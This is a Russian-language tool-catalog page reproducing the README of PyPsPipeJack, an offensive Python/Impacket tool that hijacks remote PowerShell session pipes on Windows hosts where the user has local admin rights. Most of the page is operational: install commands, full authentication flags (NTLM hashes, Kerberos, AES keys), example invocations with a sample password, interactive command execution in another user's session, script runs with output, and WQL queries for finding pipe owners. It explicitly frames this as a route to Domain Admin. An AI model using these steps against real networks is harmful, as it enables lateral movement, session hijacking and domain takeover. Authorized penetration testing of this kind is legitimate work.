Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PyPsPipeJack — Python implementation of OpenPsPipeJack | Kitploit
Инструменты/GitHubGitHub/e-fin/pypspipejack
Privilege EscalationLateral MovementPost-ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHube-fin/pypspipejack

PyPsPipeJack

Python implementation of OpenPsPipeJack

Репозиторий
20210 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PyPsPipeJack

Этот инструмент является продолжением моего другого инструмента, OpenPsPipeJack. Он написан на Python и работает в Linux, в основном используя Impacket.

Если вкратце: если у вас есть локальный администратор на удалённом хосте, вы можете подключаться к удалённым сеансам PowerShell на этом хосте и выполнять команды в этих сеансах PowerShell. Это даёт возможности не только для горизонтального перемещения, но и для повышения привилегий. Например, если вы получили доступ локального администратора через что-то вроде RBCD, Shadow Credentials и т.д., а на удалённом хосте открыт сеанс PowerShell от имени Domain Admin, вы можете выполнять команды от имени администратора домена и добавить управляемую вами учётную запись в группу Domain Admins.

Установка

root@kitploit:~
git clone https://github.com/e-fin/PyPsPipeJack.git
cd PyPsPipeJack
python3 -m venv .
source bin/activate
python3 -m pip install -r requirements

Использование

root@kitploit:~
usage: PyPsPipeJack.py [-h] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-target-ip ip address] [-port [destination port]] [--list] [--pipe PIPE] [--command COMMAND] [--script SCRIPT] target

PowerShell Pipe Jacker

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>

options:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

PowerShell Pipes:
  --list                list PSHost pipes and exit
  --pipe PIPE           full pipe name under IPC$ to connect to
  --command COMMAND     run one command and exit (non-interactive)
  --script SCRIPT       run entire PS1 file

Примеры

Список удалённых PSHost-каналов (учётные данные)

root@kitploit:~
$ python3 PyPsPipeJack.py 'localhost/administrator:P@ssw0rd'@192.168.1.101 --list

PSHost pipes on target:
   PSHost.134296493751823186.13108.DefaultAppDomain.powershell

Список удалённых PSHost-каналов (Kerberos)

root@kitploit:~
$ python3 PyPsPipeJack.py -k -no-pass ws01.lab.local --list      
  
PSHost pipes on target:
   PSHost.134296493751823186.13108.DefaultAppDomain.powershell

Подключение к удалённому PSHost-каналу (учётные данные)

root@kitploit:~
$ python3 PyPsPipeJack.py 'localhost/administrator:P@ssw0rd'@192.168.1.101 --pipe PSHost.134296493751823186.13108.DefaultAppDomain.powershell --command '[System.Security.Principal.WindowsIdentity]::GetCurrent().Name'

LAB\administrator

Подключение к удалённому PSHost-каналу (Kerberos)

root@kitploit:~
$ python3 PyPsPipeJack.py -k -no-pass ws01.lab.local --pipe PSHost.134296493751823186.13108.DefaultAppDomain.powershell --command '[System.Security.Principal.WindowsIdentity]::GetCurrent().Name'

LAB\administrator

Подключение к удалённому PSHost-каналу ИНТЕРАКТИВНО

root@kitploit:~
$ python3 PyPsPipeJack.py 'localhost/administrator:P@ssw0rd'@192.168.1.101 --pipe PSHost.134296493751823186.13108.DefaultAppDomain.powershell   

Connected. Enter PowerShell commands; 'exit' to quit.
PS> whoami
lab\administrator
PS> $i = "hello"
PS> echo $i
hello
PS> 

Подключение к удалённому PSHost-каналу и выполнение PS1-скрипта

root@kitploit:~
$ cat test.ps1                                
echo hello
echo hello2
whoami
ipconfig

$ python3 PyPsPipeJack.py 'localhost/administrator:P@ssw0rd'@192.168.1.101 --pipe PSHost.134296493751823186.13108.DefaultAppDomain.powershell --script test.ps1

hello
hello2
lab\administrator

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : lab.local
   Link-local IPv6 Address . . . . . : fe80::f0d3:c6c2:48ad:94f5%13
   IPv4 Address. . . . . . . . . . . : 192.168.1.101
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::20c:29ff:fe9d:a180%13
                                       192.168.1.1


Определение владельца PowerShell-канала без выполнения команд (WMIQUERY)

Нет необходимости запускать whoami или любую другую команду PowerShell, чтобы узнать, кому принадлежит канал PowerShell. Мы можем проверить это с помощью wmiquery.py из Impacket. Язык WMI Query Language (WQL) крайне недооценён.

Вот команды, которые нужно выполнить, и пример со скриншотом:

root@kitploit:~
## Replace 13108 with PID from PSHost Pipe
# Example: PSHost.134296493751823186.13108.DefaultAppDomain.powershell

WQL> ASSOCIATORS OF {Win32_Process.Handle="13108"} WHERE AssocClass=Win32_SessionProcess

WQL> SELECT * FROM Win32_LoggedOnUser

Alt text

Задачи

  • Разрешить выполнение целого PowerShell-файла
  • Интерактивная консоль PowerShell
  • Найти лучший способ определения того, какому пользователю принадлежит PSHost-канал
Скачать инструмент